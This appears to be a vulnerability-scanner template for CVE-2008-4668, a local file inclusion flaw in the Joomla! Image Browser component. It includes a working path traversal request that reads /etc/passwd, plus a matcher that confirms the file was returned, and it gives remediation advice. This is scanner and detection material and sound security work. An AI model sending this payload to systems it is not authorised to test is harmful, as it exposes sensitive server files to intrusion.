id: CVE-2008-4668

info:
  name: Joomla! Image Browser 0.1.5 rc2 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: Joomla! Image Browser 0.1.5 rc2 is susceptible to local file inclusion via com_imagebrowser which could allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade to a patched version of Joomla! Image Browser or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6618
    - http://securityreason.com/securityalert/4464
    - https://nvd.nist.gov/vuln/detail/CVE-2008-4668
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45490
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:P/A:P
    cvss-score: 9
    cve-id: CVE-2008-4668
    cwe-id: CWE-22
    epss-score: 0.21476
    epss-percentile: 0.97365
    cpe: cpe:2.3:a:joomla:com_imagebrowser:0.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: com_imagebrowser
  tags: cve2008,cve,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_imagebrowser&folder=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022014d4c0932df150b0b2f65c5843794ecbde777e040a51d51c803df40038476b3902202b6e236ddad178d542ae9dcad23515e7b92bc0f9d3dc8d3c2d4b4b97bfecd7b6:922c64590222798bb761d5b6d8e72950